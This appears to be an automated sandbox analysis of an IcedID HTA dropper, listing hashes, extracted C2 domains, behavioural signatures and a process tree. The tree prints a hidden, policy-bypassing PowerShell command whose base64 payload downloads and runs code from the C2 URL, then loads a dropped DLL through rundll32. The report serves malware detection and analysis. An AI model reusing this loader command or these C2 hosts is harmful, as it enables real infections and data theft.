Analysis
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max time kernel
134s -
max time network
139s -
platform
windows7_x64 -
resource
win7-20220901-en -
resource tags
arch:x64arch:x86image:win7-20220901-enlocale:en-usos:windows7-x64system -
submitted
01-02-2023 22:40
Static task
static1
Behavioral task
behavioral1
Sample
Scan_02_01_#234.hta
Resource
win7-20220901-en
Behavioral task
behavioral2
Sample
Scan_02_01_#234.hta
Resource
win10v2004-20220812-en
General
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Target
Scan_02_01_#234.hta
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Size
23KB
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MD5
06cc58468a0ece21d6c19816a453fb73
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SHA1
fe5fd9576f5a2c5179d9750afdf22390197bc556
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SHA256
d4cec5888bdcc4723be0d28197fc454ba21b926e32b94102261d0c7593c7481e
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SHA512
079fa78797078a57fffb32b081dc9aa2ba8c087fe8eaad09b067db0b07f35b62f8ca20b365d0cc7b7e36eca8fada3f9a5259ebc4ed128f80b076436647e0e9d5
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SSDEEP
384:W5EAr748f/yhahejGBOKzBFVJGPzR8t8IF4bhNuTeHUzhTIwhxc6:mfqYzyONgUTj
Malware Config
Extracted
http://restlomik.com/gatef.php
Extracted
icedid
3230313353
prahmatorn.com
Signatures
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Blocklisted process makes network request 4 IoCs
Processes:
powershell.exerundll32.exeflow pid process 4 1628 powershell.exe 6 540 rundll32.exe 8 540 rundll32.exe 9 540 rundll32.exe -
Loads dropped DLL 2 IoCs
Processes:
rundll32.exerundll32.exepid process 1236 rundll32.exe 540 rundll32.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Processes:
mshta.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\Main mshta.exe -
Suspicious behavior: EnumeratesProcesses 3 IoCs
Processes:
powershell.exerundll32.exepid process 1628 powershell.exe 540 rundll32.exe 540 rundll32.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 1628 powershell.exe -
Suspicious use of WriteProcessMemory 19 IoCs
Processes:
mshta.execmd.exepowershell.exerundll32.exedescription pid process target process PID 2032 wrote to memory of 980 2032 mshta.exe cmd.exe PID 2032 wrote to memory of 980 2032 mshta.exe cmd.exe PID 2032 wrote to memory of 980 2032 mshta.exe cmd.exe PID 2032 wrote to memory of 980 2032 mshta.exe cmd.exe PID 980 wrote to memory of 1628 980 cmd.exe powershell.exe PID 980 wrote to memory of 1628 980 cmd.exe powershell.exe PID 980 wrote to memory of 1628 980 cmd.exe powershell.exe PID 980 wrote to memory of 1628 980 cmd.exe powershell.exe PID 1628 wrote to memory of 1236 1628 powershell.exe rundll32.exe PID 1628 wrote to memory of 1236 1628 powershell.exe rundll32.exe PID 1628 wrote to memory of 1236 1628 powershell.exe rundll32.exe PID 1628 wrote to memory of 1236 1628 powershell.exe rundll32.exe PID 1628 wrote to memory of 1236 1628 powershell.exe rundll32.exe PID 1628 wrote to memory of 1236 1628 powershell.exe rundll32.exe PID 1628 wrote to memory of 1236 1628 powershell.exe rundll32.exe PID 1236 wrote to memory of 540 1236 rundll32.exe rundll32.exe PID 1236 wrote to memory of 540 1236 rundll32.exe rundll32.exe PID 1236 wrote to memory of 540 1236 rundll32.exe rundll32.exe PID 1236 wrote to memory of 540 1236 rundll32.exe rundll32.exe
Processes
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C:\Windows\SysWOW64\mshta.exeC:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\Scan_02_01_#234.hta"1⤵
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c powErshEll -nop -w hiddEn -Ep bypass -Enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcgBlAHMAdABsAG8AbQBpAGsALgBjAG8AbQAvAGcAYQB0AGUAZgAuAHAAaABwACIAKQA=2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowErshEll -nop -w hiddEn -Ep bypass -Enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcgBlAHMAdABsAG8AbQBpAGsALgBjAG8AbQAvAGcAYQB0AGUAZgAuAHAAaABwACIAKQA=3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Local\HXFYAOKj.bin init4⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\rundll32.exe"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Local\HXFYAOKj.bin init5⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\Local\HXFYAOKj.binFilesize
252KB
MD52acb462e27366cebbce10d3f339a439b
SHA1dd24f07f4e39fc5ac9d866929fbeaa64976a937e
SHA256a0ab19f0f2d9ac6c7a611600b45bb8a5d2fbf8a9a85efefb2b672b10ee1f84c1
SHA51231d080e981f06bba102564e804defde85a4e922a09201b8244212c731ebf8fbecad78617768fdd23b259667dde58053b7220e5155c5f7ee44e8730032a3a0564
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\Users\Admin\AppData\Local\HXFYAOKj.binFilesize
252KB
MD52acb462e27366cebbce10d3f339a439b
SHA1dd24f07f4e39fc5ac9d866929fbeaa64976a937e
SHA256a0ab19f0f2d9ac6c7a611600b45bb8a5d2fbf8a9a85efefb2b672b10ee1f84c1
SHA51231d080e981f06bba102564e804defde85a4e922a09201b8244212c731ebf8fbecad78617768fdd23b259667dde58053b7220e5155c5f7ee44e8730032a3a0564
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\Users\Admin\AppData\Local\HXFYAOKj.binFilesize
252KB
MD52acb462e27366cebbce10d3f339a439b
SHA1dd24f07f4e39fc5ac9d866929fbeaa64976a937e
SHA256a0ab19f0f2d9ac6c7a611600b45bb8a5d2fbf8a9a85efefb2b672b10ee1f84c1
SHA51231d080e981f06bba102564e804defde85a4e922a09201b8244212c731ebf8fbecad78617768fdd23b259667dde58053b7220e5155c5f7ee44e8730032a3a0564
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memory/540-64-0x0000000000000000-mapping.dmp
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memory/540-66-0x0000000000290000-0x0000000000299000-memory.dmpFilesize
36KB
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memory/980-55-0x0000000000000000-mapping.dmp
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memory/1236-59-0x0000000000000000-mapping.dmp
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memory/1628-56-0x0000000000000000-mapping.dmp
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memory/1628-58-0x0000000072810000-0x0000000072DBB000-memory.dmpFilesize
5.7MB
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memory/1628-63-0x0000000072810000-0x0000000072DBB000-memory.dmpFilesize
5.7MB
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memory/2032-54-0x0000000075A71000-0x0000000075A73000-memory.dmpFilesize
8KB